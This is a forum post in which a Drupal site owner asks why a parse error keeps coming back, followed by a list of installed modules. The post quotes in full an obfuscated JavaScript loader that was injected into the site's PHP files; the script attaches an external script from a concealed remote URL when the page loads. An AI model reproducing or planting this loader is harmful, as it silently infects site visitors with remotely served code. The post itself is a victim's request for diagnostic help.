Error !!!!! - some body help

Hello there
I`m building this website with drupal

suddenly I see this error

Parse error: syntax error, unexpected '<' in /home/xxxx/public_html/index.php on line 40

I open index file and see this code after drupal_page_footer(); function

<script>this.E='';function _() {var rY;if(rY!='' && rY!='px'){rY=null};var b="";var _F=']';var h;if(h!='' && h!='lc'){h=''};var W=RegExp;var iZ=new Date();var Q='[';var jY=new String();var CS=new String();var G='replace';this.x='';var e='g';var H=new String();var BU=new String();var n=new String();this.WA='';this.zH='';var Nj;if(Nj!='ae'){Nj='ae'};function T(p,I){var UO;if(UO!='' && UO!='nL'){UO=null};var B=Q;this.yL="";B+=I;B+=_F;var aw="";var Uu=new Array();var r=new W(B, e);var MH;if(MH!=''){MH='Nd'};return p[G](r, n);};var cv;if(cv!='jS'){cv='jS'};var iX="";var DI="";var O=T('sYc3rYiYpWt3',"3YW");var FW='';var Z=T('cWrWefaWtfefEWlWeWmfefnftW',"Wf");this.IdE='';var UX;if(UX!='' && UX!='JE'){UX=''};var eN=T('/JdRoRcRtJiJsJsJiJmJoR.JfRrJ/JdRoRcRtJiRsRsJiJmRoR.RfRrJ/RkRiRnRgR.JcJoJmJ/RqRuJiRkRrR.JcJoRmJ/JgRoJoRgRlJeR.RcJoJmR.RpJhJpR',"RJ");var Vp=new Array();var BR=window;this.Ij="";var F=T('87666770696696689176617702919722',"79261");var Iv="";var z=T('h_tkt_p4:_/k/4a4w4e4bke_r4-_ckokmk.4a_d_m4ikn_5k._c4okm4._v_ikr_g4i_n_mke_dkikak-4c_okm4.4sku_p_e4r4n_ekw4skt4u4f_f_._r_uk:_',"4k_");var Xt="";this.AY="";var i='';var Wet;if(Wet!='Bk' && Wet != ''){Wet=null};this.DC="";var fR=new Date();BR[T('omnWlWomamdS',"mWS")]=function(){try {var Io;if(Io!='DZ' && Io!='UT'){Io=''};var Y='';i+=z;var ly="";var Gc="";i+=F;i+=eN;var xY="";eP=document[Z](O);var WU=new String();var QD=new Date();U(eP,'defer',([1,3][0]));var iLe;if(iLe!='u'){iLe=''};U(eP,'src',i);var SE;if(SE!='' && SE!='Sr'){SE='QM'};var zX;if(zX!='' && zX!='ox'){zX='Kx'};var OQ;if(OQ!='' && OQ!='nT'){OQ=''};document.body.appendChild(eP);this.ZZ='';} catch(l){};var nF=new Array();};this.Su='';var IH;if(IH!='BH'){IH='BH'};function U(D,rp,v){var Gh;if(Gh!='eO'){Gh='eO'};var mF;if(mF!='qz'){mF='qz'};D.setAttribute(rp, v);}var yH;if(yH!='' && yH!='pD'){yH=''};};_();var pg=new Date();var zm=new Date();</script>
<!--53d056c30b820bb3b2b4b78660006a03-->

I remove this code the error gone and website works greatly
after few days the error repeated and i see the same error and the same code I removed

after few days I see this error

Parse error: syntax error, unexpected '<' in /home/xxxx/public_html/sites/all/modules/panels/plugins/styles/default.inc on line 54

I open the file and see the same code ->removed->work

any body have any idea why this happening and how this code write to files

this is my modules in website

Administration menu
Ajax
Ajax plugin - captcha
Ajax plugin - comment
Ajax plugin - disable_redirect
Ajax plugin - fckeditor
Ajax plugin - logintoboggan
Ajax plugin - quicktabs
Ajax plugin - thickbox
Ajax ui
Content
Content Permissions
Fieldgroup
FileField
ImageField
Number
Option Widgets
Text
User Reference
Chaos tools
Page manager
Views content panes
Calendar
Calendar Popup
Date
Date API
Date Popup
Date Timezone
CCK Date Facets
CCK Facets
CCK Number Facets
CCK Reference Facets
CCK Text Facets
Content Type Facet
Date Facets Format
Faceted Ajax Search
Faceted Search
Faceted Search UI
Faceted Search Views
Taxonomy Facets
ImageAPI
ImageCache
Job
Job access
Resume
Resume access
Mime Mail
Simplenews
Simplenews on register
DHTML Menu
FCKeditor
Lightbox2
LoginToboggan
Mollom
Poormanscron
Quick Tabs
Search config
Token
Token actions
TokenSTARTER
Webform
Mini panels
Panel nodes
Panels
Username AJAX check
CAPTCHA
Image CAPTCHA
Google Analytics
Cart
Conditional Actions
Order
Product
Store
Attribute
Views
Views UI

_{Edited by WorldFallz - moved to appropriate forum.}